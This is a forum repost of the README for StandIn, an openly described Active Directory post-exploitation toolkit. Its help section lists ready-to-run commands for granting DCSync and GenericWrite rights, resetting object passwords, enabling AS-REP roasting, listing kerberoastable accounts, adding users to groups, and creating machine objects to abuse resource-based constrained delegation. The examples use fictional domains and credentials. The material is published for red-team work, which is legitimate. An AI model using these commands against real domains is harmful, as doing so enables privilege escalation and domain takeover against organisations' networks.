# StandIn | A Small .NET 35/45 AD Post-Exploitation Toolkit

**URL:** <https://onehack.st/t/standin-a-small-net-35-45-ad-post-exploitation-toolkit/174131>\
**Category:** Tools & Scripts\
**Tags:** tools, programming\
**Created:** [March 2, 2021, 1:31pm UTC](https://onehack.st/t/standin-a-small-net-35-45-ad-post-exploitation-toolkit/174131 "2021-03-02T13:31:27Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [March 2, 2021, 1:31pm UTC](https://onehack.st/t/standin-a-small-net-35-45-ad-post-exploitation-toolkit/174131/1 "2021-03-02T13:31:27Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/1/3/13f09b4cc4f874388c3f98fde589f7644fea7c13.png)

StandIn is a small AD post-compromise toolkit. StandIn came about because recently at [xforcered](https://github.com/xforcered) we needed a .NET native solution to perform resource based constrained delegation. However, StandIn quickly ballooned to include a number of comfort features.

I want to continue developing StandIn to teach myself more about Directory Services programming and to hopefully expand a tool which fits in to the AD post-exploitation toolchain.

**Roadmap**

**Contributing**

Contributions are most welcome. Please ensure pull requests include the following items: description of the functionality, brief technical explanation and sample output.

**ToDo’s**

The following items are currently on the radar for implementation in subsequent versions of StandIn.

- Domain share enumeration. This can be split out into two parts, (1) finding and getting a unique list based on user home directories / script paths / profile paths and (2) querying fTDfs / msDFS-Linkv2 objects.
- Finding and parsing GPO’s to map users to host local groups.

**Subject References**

- An ACE up the sleeve (by [@\_wald0](https://twitter.com/_wald0) & [@harmj0y](https://twitter.com/harmj0y)) – [here](https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf)
- Kerberoasting (by [@_xpn_](https://twitter.com/_xpn_)) – [here](https://blog.xpnsec.com/kerberos-attacks-part-1/)
- Roasting AS-REPs (by [@harmj0y](https://twitter.com/harmj0y)) – [here](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
- Kerberos Unconstrained Delegation (by [@spotheplanet](https://twitter.com/spotheplanet)) – [here](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
- S4U2Pwnage (by [@harmj0y](https://twitter.com/harmj0y)) – [here](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)
- Resource-based Constrained Delegation (by [@spotheplanet](https://twitter.com/spotheplanet)) – [here](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution)
- Rubeus – [here](https://github.com/GhostPack/Rubeus)
- Powerview – [here](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
- Powermad (by [@kevin\_robertson](https://twitter.com/kevin_robertson)) – [here](https://github.com/Kevin-Robertson/Powermad)

**Index**

- [Help](https://github.com/FuzzySecurity/StandIn#help)
- [LDAP Object Operations](https://github.com/FuzzySecurity/StandIn#ldap-object-operations)
  - [Get object](https://github.com/FuzzySecurity/StandIn#get-object)
  - [Get object access permissions](https://github.com/FuzzySecurity/StandIn#get-object-access-permissions)
  - [Grant object access permission](https://github.com/FuzzySecurity/StandIn#grant-object-access-permission)
  - [Set object password](https://github.com/FuzzySecurity/StandIn#set-object-password)
  - [Add ASREP to object flags](https://github.com/FuzzySecurity/StandIn#addremove-asrep-from-object-flags)
  - [Remove ASREP from object flags](https://github.com/FuzzySecurity/StandIn#addremove-asrep-from-object-flags)

- [ASREP](https://github.com/FuzzySecurity/StandIn#asrep)
- [SPN](https://github.com/FuzzySecurity/StandIn#spn)
- [Unconstrained / constrained / resource-based constrained delegation](https://github.com/FuzzySecurity/StandIn#unconstrained--constrained--resource-based-constrained-delegation)
- [DC’s](https://github.com/FuzzySecurity/StandIn#dcs)
- [Groups Operations](https://github.com/FuzzySecurity/StandIn#groups-operations)
  - [List group membership](https://github.com/FuzzySecurity/StandIn#list-group-membership)
  - [Add user to group](https://github.com/FuzzySecurity/StandIn#add-user-to-group)

- [Machine Object Operations](https://github.com/FuzzySecurity/StandIn#machine-object-operations)
  - [Create machine object](https://github.com/FuzzySecurity/StandIn#create-machine-object)
  - [Disable machine object](https://github.com/FuzzySecurity/StandIn#disable-machine-object)
  - [Delete machine object](https://github.com/FuzzySecurity/StandIn#delete-machine-object)
  - [Add msDS-AllowedToActOnBehalfOfOtherIdentity](https://github.com/FuzzySecurity/StandIn#add-msds-allowedtoactonbehalfofotheridentity)
  - [Remove msDS-AllowedToActOnBehalfOfOtherIdentity](https://github.com/FuzzySecurity/StandIn#remove-msds-allowedtoactonbehalfofotheridentity)

- [Detection](https://github.com/FuzzySecurity/StandIn#detection)

**Help**

```auto
  __( _/_ _// ~b33f__)/(//)(/(/) v0.8 >-- ~~--> Args? <--~~ --<--help This help menu--object LDAP filter, e.g. samaccountname=HWest--computer Machine name, e.g. Celephais-01--group Group name, e.g. "Necronomicon Admins"--ntaccount User name, e.g. "REDHOOKUPickman"--sid String SID representing a target machine--grant User name, e.g. "REDHOOKKMason"--guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2--domain Domain name, e.g. REDHOOK--user User name--pass Password--newpass New password to set for object--type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync--spn Boolean, list kerberoastable accounts--delegation Boolean, list accounts with unconstrained / constrained delegation--asrep Boolean, list ASREP roastab le accounts--dc Boolean, list all domain controllers--remove Boolean, remove msDS-AllowedToActOnBehalfOfOtherIdentity property from machine object--make Boolean, make machine; ms-DS-MachineAccountQuota applies--disable Boolean, disable machine; should be the same user that created the machine--access Boolean, list access permissions for object--delete Boolean, delete machine from AD; requires elevated AD access >-- ~~--> Usage? <--~~ --<# Query object properties by LDAP filterStandIn.exe --object "(&(samAccountType=805306368)(servicePrincipalName=*vermismysteriis.redhook.local*))"StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Query object access permissions, optionally filter by NTAccountStandIn.exe --object "distinguishedname=DC=redhook,DC=local" --accessStandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOKEDerby"StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Grant object access permissionsStandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOKMBWillett" --type DCSyncStandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOKMBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOKMBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Set object passwordStandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!"StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Add ASREP to userAccountControl flagsStandIn.exe --object samaccountname=HArmitage --asrepStandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Remove ASREP from userAccountControl flagsStandIn.exe --object samaccountname=TMalone --asrep --removeStandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Get a list of all ASREP roastable accountsStandIn.exe --asrepStandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Get a list of all kerberoastable accountsStandIn.exe --spnStandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# List all accounts with unconstrained & constrained delegation privilegesStandIn.exe --delegationStandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Get a list of all domain controllersStandIn.exe --dc# List group membersStandIn.exe --group LiterarumStandIn.exe --group "Magna Ultima" --domain redhook --user R Fludd --pass Cl4vi$Alchemi4e# Add user to groupStandIn.exe --group "Dunwich Council" --ntaccount "REDHOOKWWhateley"StandIn.exe --group DAgon --ntaccount "REDHOOKRCarter" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Create machine objectStandIn.exe --computer Innsmouth --makeStandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Disable machine objectStandIn.exe --computer Arkham --disableStandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Delete machine objectStandIn.exe --computer Danvers --deleteStandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Add msDS-AllowedToActOnBehalfOfOtherIdentity to machine object propertiesStandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543StandIn.exe --computer Providence --sid S-1-5-21-10 85031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e# Remove msDS-AllowedToActOnBehalfOfOtherIdentity from machine object propertiesStandIn.exe --computer Miskatonic --removeStandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

```

**LDAP Object Operations**

All object operations expect that the LDAP filter returns a single object and will exit out if your query returns more. This is by design.

**Get object**

**Use Case**

> _Operationally, we may want to look at all of the properties of a specific object in AD. A common example would be to look at what groups a user account is member of or when a user account last authenticated to the domain._

`Continue following on GitHub`

## GitHub:

> **[GitHub - FuzzySecurity/StandIn: StandIn is a small .NET35/45 AD post-exploitation...](https://github.com/FuzzySecurity/StandIn)**
>
> StandIn is a small .NET35/45 AD post-exploitation toolkit